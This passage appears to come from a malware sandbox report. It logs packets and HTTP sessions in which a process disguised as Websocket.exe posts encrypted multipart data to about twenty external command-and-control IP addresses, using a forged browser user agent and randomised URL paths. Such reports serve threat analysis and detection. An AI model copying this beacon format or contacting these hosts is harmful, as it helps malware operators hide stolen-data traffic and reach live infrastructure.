Aug 20, 2024 17:47:32.863660097 CEST	80	49724	94.23.216.33	192.168.2.12
Aug 20, 2024 17:47:32.863677979 CEST	80	49724	94.23.216.33	192.168.2.12
Aug 20, 2024 17:47:32.863688946 CEST	80	49724	94.23.216.33	192.168.2.12
Aug 20, 2024 17:47:32.863985062 CEST	80	49724	94.23.216.33	192.168.2.12
Aug 20, 2024 17:47:32.868396997 CEST	80	49724	94.23.216.33	192.168.2.12
Aug 20, 2024 17:47:32.868475914 CEST	80	49724	94.23.216.33	192.168.2.12
Aug 20, 2024 17:47:35.966233969 CEST	49725	8080	192.168.2.12	157.245.99.39
Aug 20, 2024 17:47:35.971314907 CEST	8080	49725	157.245.99.39	192.168.2.12
Aug 20, 2024 17:47:35.971416950 CEST	49725	8080	192.168.2.12	157.245.99.39
Aug 20, 2024 17:47:35.971529961 CEST	49725	8080	192.168.2.12	157.245.99.39
Aug 20, 2024 17:47:35.971560955 CEST	49725	8080	192.168.2.12	157.245.99.39
Aug 20, 2024 17:47:35.976577044 CEST	8080	49725	157.245.99.39	192.168.2.12
Aug 20, 2024 17:47:35.976609945 CEST	8080	49725	157.245.99.39	192.168.2.12
Aug 20, 2024 17:47:35.976641893 CEST	8080	49725	157.245.99.39	192.168.2.12
Aug 20, 2024 17:47:35.976702929 CEST	8080	49725	157.245.99.39	192.168.2.12
Aug 20, 2024 17:47:35.976732016 CEST	8080	49725	157.245.99.39	192.168.2.12
Aug 20, 2024 17:47:35.976906061 CEST	8080	49725	157.245.99.39	192.168.2.12
Aug 20, 2024 17:47:38.195614100 CEST	49726	8080	192.168.2.12	137.59.187.107
Aug 20, 2024 17:47:38.200844049 CEST	8080	49726	137.59.187.107	192.168.2.12
Aug 20, 2024 17:47:38.200989008 CEST	49726	8080	192.168.2.12	137.59.187.107
Aug 20, 2024 17:47:38.201150894 CEST	49726	8080	192.168.2.12	137.59.187.107
Aug 20, 2024 17:47:38.201210022 CEST	49726	8080	192.168.2.12	137.59.187.107
Aug 20, 2024 17:47:38.206254005 CEST	8080	49726	137.59.187.107	192.168.2.12
Aug 20, 2024 17:47:38.206302881 CEST	8080	49726	137.59.187.107	192.168.2.12
Aug 20, 2024 17:47:38.206357002 CEST	8080	49726	137.59.187.107	192.168.2.12
Aug 20, 2024 17:47:38.206384897 CEST	8080	49726	137.59.187.107	192.168.2.12
Aug 20, 2024 17:47:38.206413031 CEST	8080	49726	137.59.187.107	192.168.2.12
Aug 20, 2024 17:47:59.609304905 CEST	8080	49726	137.59.187.107	192.168.2.12
Aug 20, 2024 17:47:59.609412909 CEST	49726	8080	192.168.2.12	137.59.187.107
Aug 20, 2024 17:47:59.609510899 CEST	49726	8080	192.168.2.12	137.59.187.107
Aug 20, 2024 17:47:59.614538908 CEST	8080	49726	137.59.187.107	192.168.2.12
Aug 20, 2024 17:48:03.378746986 CEST	62404	443	192.168.2.12	94.23.237.171
Aug 20, 2024 17:48:03.378784895 CEST	443	62404	94.23.237.171	192.168.2.12
Aug 20, 2024 17:48:03.378869057 CEST	62404	443	192.168.2.12	94.23.237.171
Aug 20, 2024 17:48:03.378998041 CEST	62404	443	192.168.2.12	94.23.237.171
Aug 20, 2024 17:48:03.379008055 CEST	443	62404	94.23.237.171	192.168.2.12
Aug 20, 2024 17:48:03.379051924 CEST	62404	443	192.168.2.12	94.23.237.171
Aug 20, 2024 17:48:03.379060984 CEST	443	62404	94.23.237.171	192.168.2.12
Aug 20, 2024 17:48:03.379077911 CEST	443	62404	94.23.237.171	192.168.2.12
Aug 20, 2024 17:48:07.051640987 CEST	62405	443	192.168.2.12	61.19.246.238
Aug 20, 2024 17:48:07.051691055 CEST	443	62405	61.19.246.238	192.168.2.12
Aug 20, 2024 17:48:07.051759005 CEST	62405	443	192.168.2.12	61.19.246.238
Aug 20, 2024 17:48:07.059957027 CEST	62405	443	192.168.2.12	61.19.246.238
Aug 20, 2024 17:48:07.059993982 CEST	443	62405	61.19.246.238	192.168.2.12
Aug 20, 2024 17:48:07.060015917 CEST	62405	443	192.168.2.12	61.19.246.238
Aug 20, 2024 17:48:07.060029030 CEST	443	62405	61.19.246.238	192.168.2.12
Aug 20, 2024 17:48:07.060054064 CEST	443	62405	61.19.246.238	192.168.2.12
Aug 20, 2024 17:48:10.483428955 CEST	62406	80	192.168.2.12	156.155.166.221
Aug 20, 2024 17:48:10.488749027 CEST	80	62406	156.155.166.221	192.168.2.12
Aug 20, 2024 17:48:10.488851070 CEST	62406	80	192.168.2.12	156.155.166.221
Aug 20, 2024 17:48:10.488987923 CEST	62406	80	192.168.2.12	156.155.166.221
Aug 20, 2024 17:48:10.488987923 CEST	62406	80	192.168.2.12	156.155.166.221
Aug 20, 2024 17:48:10.493989944 CEST	80	62406	156.155.166.221	192.168.2.12
Aug 20, 2024 17:48:10.494025946 CEST	80	62406	156.155.166.221	192.168.2.12
Aug 20, 2024 17:48:10.494035959 CEST	80	62406	156.155.166.221	192.168.2.12
Aug 20, 2024 17:48:10.494070053 CEST	80	62406	156.155.166.221	192.168.2.12
Aug 20, 2024 17:48:10.494119883 CEST	80	62406	156.155.166.221	192.168.2.12
Aug 20, 2024 17:48:10.494129896 CEST	80	62406	156.155.166.221	192.168.2.12
Aug 20, 2024 17:48:13.359842062 CEST	62407	80	192.168.2.12	50.35.17.13
Aug 20, 2024 17:48:13.364779949 CEST	80	62407	50.35.17.13	192.168.2.12
Aug 20, 2024 17:48:13.365006924 CEST	62407	80	192.168.2.12	50.35.17.13
Aug 20, 2024 17:48:13.365008116 CEST	62407	80	192.168.2.12	50.35.17.13
Aug 20, 2024 17:48:13.365048885 CEST	62407	80	192.168.2.12	50.35.17.13
Aug 20, 2024 17:48:13.370033026 CEST	80	62407	50.35.17.13	192.168.2.12
Aug 20, 2024 17:48:13.370223999 CEST	80	62407	50.35.17.13	192.168.2.12
Aug 20, 2024 17:48:13.370254040 CEST	80	62407	50.35.17.13	192.168.2.12
Aug 20, 2024 17:48:13.370264053 CEST	80	62407	50.35.17.13	192.168.2.12
Aug 20, 2024 17:48:13.370279074 CEST	80	62407	50.35.17.13	192.168.2.12
Aug 20, 2024 17:48:13.370287895 CEST	80	62407	50.35.17.13	192.168.2.12
Aug 20, 2024 17:48:16.872211933 CEST	62408	80	192.168.2.12	153.137.36.142
Aug 20, 2024 17:48:16.877244949 CEST	80	62408	153.137.36.142	192.168.2.12
Aug 20, 2024 17:48:16.877353907 CEST	62408	80	192.168.2.12	153.137.36.142
Aug 20, 2024 17:48:16.877501965 CEST	62408	80	192.168.2.12	153.137.36.142
Aug 20, 2024 17:48:16.877532959 CEST	62408	80	192.168.2.12	153.137.36.142
Aug 20, 2024 17:48:16.882364035 CEST	80	62408	153.137.36.142	192.168.2.12
Aug 20, 2024 17:48:16.882385015 CEST	80	62408	153.137.36.142	192.168.2.12
Aug 20, 2024 17:48:16.882414103 CEST	80	62408	153.137.36.142	192.168.2.12
Aug 20, 2024 17:48:16.882425070 CEST	80	62408	153.137.36.142	192.168.2.12
Aug 20, 2024 17:48:16.882435083 CEST	62408	80	192.168.2.12	153.137.36.142
Aug 20, 2024 17:48:16.882450104 CEST	80	62408	153.137.36.142	192.168.2.12
Aug 20, 2024 17:48:16.882559061 CEST	62408	80	192.168.2.12	153.137.36.142
Aug 20, 2024 17:48:16.883310080 CEST	80	62408	153.137.36.142	192.168.2.12
Aug 20, 2024 17:48:16.887274027 CEST	80	62408	153.137.36.142	192.168.2.12
Aug 20, 2024 17:48:16.887507915 CEST	80	62408	153.137.36.142	192.168.2.12
Aug 20, 2024 17:48:19.948684931 CEST	62409	7080	192.168.2.12	91.211.88.52
Aug 20, 2024 17:48:19.953665972 CEST	7080	62409	91.211.88.52	192.168.2.12
Aug 20, 2024 17:48:19.953783989 CEST	62409	7080	192.168.2.12	91.211.88.52
Aug 20, 2024 17:48:19.954139948 CEST	62409	7080	192.168.2.12	91.211.88.52
Aug 20, 2024 17:48:19.954278946 CEST	62409	7080	192.168.2.12	91.211.88.52
Aug 20, 2024 17:48:19.958830118 CEST	7080	62409	91.211.88.52	192.168.2.12
Aug 20, 2024 17:48:19.958899021 CEST	62409	7080	192.168.2.12	91.211.88.52
Aug 20, 2024 17:48:19.959026098 CEST	7080	62409	91.211.88.52	192.168.2.12
Aug 20, 2024 17:48:19.959043026 CEST	62409	7080	192.168.2.12	91.211.88.52
Aug 20, 2024 17:48:19.959196091 CEST	7080	62409	91.211.88.52	192.168.2.12
Aug 20, 2024 17:48:19.959261894 CEST	7080	62409	91.211.88.52	192.168.2.12
Aug 20, 2024 17:48:19.959271908 CEST	7080	62409	91.211.88.52	192.168.2.12
Aug 20, 2024 17:48:19.959670067 CEST	7080	62409	91.211.88.52	192.168.2.12
Aug 20, 2024 17:48:19.963711977 CEST	7080	62409	91.211.88.52	192.168.2.12
Aug 20, 2024 17:48:19.963984966 CEST	7080	62409	91.211.88.52	192.168.2.12
Aug 20, 2024 17:48:22.184917927 CEST	62410	8080	192.168.2.12	209.141.54.221
Aug 20, 2024 17:48:22.190300941 CEST	8080	62410	209.141.54.221	192.168.2.12
Aug 20, 2024 17:48:22.190401077 CEST	62410	8080	192.168.2.12	209.141.54.221
Aug 20, 2024 17:48:22.190536976 CEST	62410	8080	192.168.2.12	209.141.54.221
Aug 20, 2024 17:48:22.190576077 CEST	62410	8080	192.168.2.12	209.141.54.221
Aug 20, 2024 17:48:22.195311069 CEST	8080	62410	209.141.54.221	192.168.2.12
Aug 20, 2024 17:48:22.195456982 CEST	8080	62410	209.141.54.221	192.168.2.12
Aug 20, 2024 17:48:22.195466042 CEST	8080	62410	209.141.54.221	192.168.2.12
Aug 20, 2024 17:48:22.195708036 CEST	8080	62410	209.141.54.221	192.168.2.12
Aug 20, 2024 17:48:22.195718050 CEST	8080	62410	209.141.54.221	192.168.2.12
Aug 20, 2024 17:48:22.196754932 CEST	8080	62410	209.141.54.221	192.168.2.12
Aug 20, 2024 17:48:24.555346012 CEST	62411	443	192.168.2.12	185.94.252.104
Aug 20, 2024 17:48:24.555401087 CEST	443	62411	185.94.252.104	192.168.2.12
Aug 20, 2024 17:48:24.555481911 CEST	62411	443	192.168.2.12	185.94.252.104
Aug 20, 2024 17:48:24.555603981 CEST	62411	443	192.168.2.12	185.94.252.104
Aug 20, 2024 17:48:24.555614948 CEST	443	62411	185.94.252.104	192.168.2.12
Aug 20, 2024 17:48:24.555649042 CEST	62411	443	192.168.2.12	185.94.252.104
Aug 20, 2024 17:48:24.555660009 CEST	443	62411	185.94.252.104	192.168.2.12
Aug 20, 2024 17:48:24.555753946 CEST	443	62411	185.94.252.104	192.168.2.12
Aug 20, 2024 17:48:27.429323912 CEST	62418	80	192.168.2.12	174.45.13.118
Aug 20, 2024 17:48:27.434710026 CEST	80	62418	174.45.13.118	192.168.2.12
Aug 20, 2024 17:48:27.434808016 CEST	62418	80	192.168.2.12	174.45.13.118
Aug 20, 2024 17:48:27.434936047 CEST	62418	80	192.168.2.12	174.45.13.118
Aug 20, 2024 17:48:27.434988022 CEST	62418	80	192.168.2.12	174.45.13.118
Aug 20, 2024 17:48:27.439925909 CEST	80	62418	174.45.13.118	192.168.2.12
Aug 20, 2024 17:48:27.439960003 CEST	80	62418	174.45.13.118	192.168.2.12
Aug 20, 2024 17:48:27.439994097 CEST	80	62418	174.45.13.118	192.168.2.12
Aug 20, 2024 17:48:27.440048933 CEST	80	62418	174.45.13.118	192.168.2.12
Aug 20, 2024 17:48:27.440411091 CEST	80	62418	174.45.13.118	192.168.2.12
Aug 20, 2024 17:48:48.814197063 CEST	80	62418	174.45.13.118	192.168.2.12
Aug 20, 2024 17:48:48.814321041 CEST	62418	80	192.168.2.12	174.45.13.118
Aug 20, 2024 17:48:48.814505100 CEST	62418	80	192.168.2.12	174.45.13.118
Aug 20, 2024 17:48:48.819361925 CEST	80	62418	174.45.13.118	192.168.2.12
Aug 20, 2024 17:48:51.780136108 CEST	62419	8080	192.168.2.12	87.106.136.232
Aug 20, 2024 17:48:51.785180092 CEST	8080	62419	87.106.136.232	192.168.2.12
Aug 20, 2024 17:48:51.785458088 CEST	62419	8080	192.168.2.12	87.106.136.232
Aug 20, 2024 17:48:51.785458088 CEST	62419	8080	192.168.2.12	87.106.136.232
Aug 20, 2024 17:48:51.785516024 CEST	62419	8080	192.168.2.12	87.106.136.232
Aug 20, 2024 17:48:51.790793896 CEST	8080	62419	87.106.136.232	192.168.2.12
Aug 20, 2024 17:48:51.790872097 CEST	8080	62419	87.106.136.232	192.168.2.12
Aug 20, 2024 17:48:51.790894032 CEST	8080	62419	87.106.136.232	192.168.2.12
Aug 20, 2024 17:48:51.790999889 CEST	8080	62419	87.106.136.232	192.168.2.12
Aug 20, 2024 17:48:51.791013002 CEST	8080	62419	87.106.136.232	192.168.2.12
Aug 20, 2024 17:48:53.453581095 CEST	8080	62419	87.106.136.232	192.168.2.12
Aug 20, 2024 17:48:53.453902960 CEST	62419	8080	192.168.2.12	87.106.136.232
Aug 20, 2024 17:48:53.457211971 CEST	62419	8080	192.168.2.12	87.106.136.232
Aug 20, 2024 17:48:53.462081909 CEST	8080	62419	87.106.136.232	192.168.2.12
Aug 20, 2024 17:48:57.132818937 CEST	62420	80	192.168.2.12	62.75.141.82
Aug 20, 2024 17:48:57.137806892 CEST	80	62420	62.75.141.82	192.168.2.12
Aug 20, 2024 17:48:57.137926102 CEST	62420	80	192.168.2.12	62.75.141.82
Aug 20, 2024 17:48:57.138402939 CEST	62420	80	192.168.2.12	62.75.141.82
Aug 20, 2024 17:48:57.138427973 CEST	62420	80	192.168.2.12	62.75.141.82
Aug 20, 2024 17:48:57.143229961 CEST	80	62420	62.75.141.82	192.168.2.12
Aug 20, 2024 17:48:57.143284082 CEST	80	62420	62.75.141.82	192.168.2.12
Aug 20, 2024 17:48:57.143292904 CEST	80	62420	62.75.141.82	192.168.2.12
Aug 20, 2024 17:48:57.143306971 CEST	80	62420	62.75.141.82	192.168.2.12
Aug 20, 2024 17:48:57.146547079 CEST	80	62420	62.75.141.82	192.168.2.12

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 20, 2024 17:47:38.894963980 CEST	53	55630	162.159.36.2	192.168.2.12

HTTP Request Dependency Graph

71.72.196.159

134.209.36.254

134.209.36.254:8080

120.138.30.150

120.138.30.150:8080

94.23.216.33

157.245.99.39

157.245.99.39:8080

137.59.187.107

137.59.187.107:8080

94.23.237.171

94.23.237.171:443

61.19.246.238

61.19.246.238:443

156.155.166.221

50.35.17.13

153.137.36.142

91.211.88.52

91.211.88.52:7080

209.141.54.221

209.141.54.221:8080

185.94.252.104

185.94.252.104:443

174.45.13.118

87.106.136.232

87.106.136.232:8080

62.75.141.82

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.12	49712	71.72.196.159	80	6716	C:\Windows\SysWOW64\provcore\Websocket.exe

Timestamp	Bytes transferred	Direction	Data
Aug 20, 2024 17:47:21.373636007 CEST	542	OUT	POST /U79iM382/IZ04Joc/eLC1daPUos8/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: 71.72.196.159/U79iM382/IZ04Joc/eLC1daPUos8/ Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=------------cs4fTNfbtTQb Host: 71.72.196.159 Content-Length: 4660 Cache-Control: no-cache
Aug 20, 2024 17:47:21.373673916 CEST	4660	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 63 73 34 66 54 4e 66 62 74 54 51 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6e 6c 7a 75 6c 6f 73 74 70 65 68 6e 67 6d Data Ascii: --------------cs4fTNfbtTQbContent-Disposition: form-data; name="nlzulostpehngmd"; filename="aapskeqwasxvhodscxn"Content-Type: application/octet-streamYyF7X95*,K4_[E"lf2%TnrfvFASDi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.12	49722	134.209.36.254	8080	6716	C:\Windows\SysWOW64\provcore\Websocket.exe

Timestamp	Bytes transferred	Direction	Data
Aug 20, 2024 17:47:24.943783045 CEST	657	OUT	POST /T5Vg4Qw6cjD/Ig1s2FXtpuz/TQ9zRX6lxh/onfM1cXpehs4Ys/zuNlQfl2ySC/vyKTBvDcyugOiz5nO8/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: 134.209.36.254/T5Vg4Qw6cjD/Ig1s2FXtpuz/TQ9zRX6lxh/onfM1cXpehs4Ys/zuNlQfl2ySC/vyKTBvDcyugOiz5nO8/ Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=--------------mk75J6XmW2R3bq Host: 134.209.36.254:8080 Content-Length: 4660 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.12	49723	120.138.30.150	8080	6716	C:\Windows\SysWOW64\provcore\Websocket.exe

Timestamp	Bytes transferred	Direction	Data
Aug 20, 2024 17:47:28.283018112 CEST	549	OUT	POST /3c7L3qI9O7w/Rm0uJBYq9TtaH/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: 120.138.30.150/3c7L3qI9O7w/Rm0uJBYq9TtaH/ Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=---------------VnrwklFt5SvgEBv Host: 120.138.30.150:8080 Content-Length: 4660 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.12	49724	94.23.216.33	80	6716	C:\Windows\SysWOW64\provcore\Websocket.exe

Timestamp	Bytes transferred	Direction	Data
Aug 20, 2024 17:47:32.858660936 CEST	542	OUT	POST /4sERDG3EhH4jL/eJgQIlw4kZ/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: 94.23.216.33/4sERDG3EhH4jL/eJgQIlw4kZ/ Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=-----------------dNvw9ZmlFxNAzGF12 Host: 94.23.216.33 Content-Length: 4660 Cache-Control: no-cache
Aug 20, 2024 17:47:32.858719110 CEST	4660	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 64 4e 76 77 39 5a 6d 6c 46 78 4e 41 7a 47 46 31 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 76 77 6b 71 Data Ascii: -------------------dNvw9ZmlFxNAzGF12Content-Disposition: form-data; name="vwkqjvubdwyo"; filename="lldklmbdve"Content-Type: application/octet-streamHmAo2_(,k5$hS&jh#bRPUMD#O

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.12	49725	157.245.99.39	8080	6716	C:\Windows\SysWOW64\provcore\Websocket.exe

Timestamp	Bytes transferred	Direction	Data
Aug 20, 2024 17:47:35.971529961 CEST	605	OUT	POST /iak3uhyFk7lpr6JuOK/tB1LHPYJU1WTt8sLQn/ANk4kL9bS/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: 157.245.99.39/iak3uhyFk7lpr6JuOK/tB1LHPYJU1WTt8sLQn/ANk4kL9bS/ Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----------------------0xXrF4Ymva2woSLWTDYnAi Host: 157.245.99.39:8080 Content-Length: 4660 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.12	49726	137.59.187.107	8080	6716	C:\Windows\SysWOW64\provcore\Websocket.exe

Timestamp	Bytes transferred	Direction	Data
Aug 20, 2024 17:47:38.201150894 CEST	619	OUT	POST /JN2DplxF92Pi/qZ21yDZ4M/ris4gHcOGLF4hcPHwQ/A1nU/6tibZPGO3hJC/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: 137.59.187.107/JN2DplxF92Pi/qZ21yDZ4M/ris4gHcOGLF4hcPHwQ/A1nU/6tibZPGO3hJC/ Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----------------yA0yv22gQqHz91Fm Host: 137.59.187.107:8080 Content-Length: 4660 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.12	62404	94.23.237.171	443	6716	C:\Windows\SysWOW64\provcore\Websocket.exe

Timestamp	Bytes transferred	Direction	Data
Aug 20, 2024 17:48:03.378998041 CEST	588	OUT	POST /QhMD6KpexuBHSeyg/nmjgYh4l4ptvB/PGvKi7u5nK/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: 94.23.237.171/QhMD6KpexuBHSeyg/nmjgYh4l4ptvB/PGvKi7u5nK/ Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=--------------------8l9iSdFwjKbTCnC5XLPO Host: 94.23.237.171:443 Content-Length: 4628 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.12	62405	61.19.246.238	443	6716	C:\Windows\SysWOW64\provcore\Websocket.exe

Timestamp	Bytes transferred	Direction	Data
Aug 20, 2024 17:48:07.059957027 CEST	506	OUT	POST /Gm1WL3Kb/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: 61.19.246.238/Gm1WL3Kb/ Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=------------H7vKgpo0TK2t Host: 61.19.246.238:443 Content-Length: 4628 Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.12	62406	156.155.166.221	80	6716	C:\Windows\SysWOW64\provcore\Websocket.exe

Timestamp	Bytes transferred	Direction	Data
Aug 20, 2024 17:48:10.488987923 CEST	582	OUT	POST /yeefk/tw301PEhQBGehUNW/CiErQs/MRjdl7CYu1IU7v3m15J/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: 156.155.166.221/yeefk/tw301PEhQBGehUNW/CiErQs/MRjdl7CYu1IU7v3m15J/ Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=---------84P2IJMkL Host: 156.155.166.221 Content-Length: 4628 Cache-Control: no-cache
Aug 20, 2024 17:48:10.488987923 CEST	4628	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 34 50 32 49 4a 4d 6b 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 62 65 76 66 6c 70 73 6e 63 66 6d 62 22 3b 20 66 69 6c 65 Data Ascii: -----------84P2IJMkLContent-Disposition: form-data; name="tbevflpsncfmb"; filename="gpkguma"Content-Type: application/octet-stream[D\xA*8HK`uEu8-)hFg8_qp {ZBfR&ua3-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.12	62407	50.35.17.13	80	6716	C:\Windows\SysWOW64\provcore\Websocket.exe

Timestamp	Bytes transferred	Direction	Data
Aug 20, 2024 17:48:13.365008116 CEST	580	OUT	POST /nrCUrCE2yDTiIo4a/5Gs4u/KUPipnX9S5yDUVyF8b/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: 50.35.17.13/nrCUrCE2yDTiIo4a/5Gs4u/KUPipnX9S5yDUVyF8b/ Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=--------------------pU7FVH6UNlQM04HdUu46 Host: 50.35.17.13 Content-Length: 4628 Cache-Control: no-cache
Aug 20, 2024 17:48:13.365048885 CEST	4628	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 70 55 37 46 56 48 36 55 4e 6c 51 4d 30 34 48 64 55 75 34 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 Data Ascii: ----------------------pU7FVH6UNlQM04HdUu46Content-Disposition: form-data; name="clsguwwg"; filename="jrmsyryvcsmdyh"Content-Type: application/octet-streame6ygb;0ugc~!CC_bh:?=OJ0d0b@?C7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.12	62408	153.137.36.142	80	6716	C:\Windows\SysWOW64\provcore\Websocket.exe

Timestamp	Bytes transferred	Direction	Data
Aug 20, 2024 17:48:16.877501965 CEST	596	OUT	POST /ekpYWl8oCs7C/uUSPOoA/83Mn2qAQ2/yBWXbxwj/GOVd3DoQP6/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: 153.137.36.142/ekpYWl8oCs7C/uUSPOoA/83Mn2qAQ2/yBWXbxwj/GOVd3DoQP6/ Upgrade-Insecure-Requests: 1 Content-Type: multipart/form-data; boundary=----------------5UCIEVFUgKC9ns3t Host: 153.137.36.142 Content-Length: 4628 Cache-Control: no-cache
Aug 20, 2024 17:48:16.877532959 CEST	4628	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 35 55 43 49 45 56 46 55 67 4b 43 39 6e 73 33 74 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 71 6c 69 6e 69 Data Ascii: ------------------5UCIEVFUgKC9ns3tContent-Disposition: form-data; name="bqlinitoyanh"; filename="oekzogwfmpjcauqobb"Content-Type: application/octet-streamxoZC0bRDDB"=gEoyHx9a1i3~oNz?C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.12	62409	91.211.88.52	7080	6716	C:\Windows\SysWOW64\provcore\Websocket.exe

Timestamp	Bytes transferred	Direction	Data
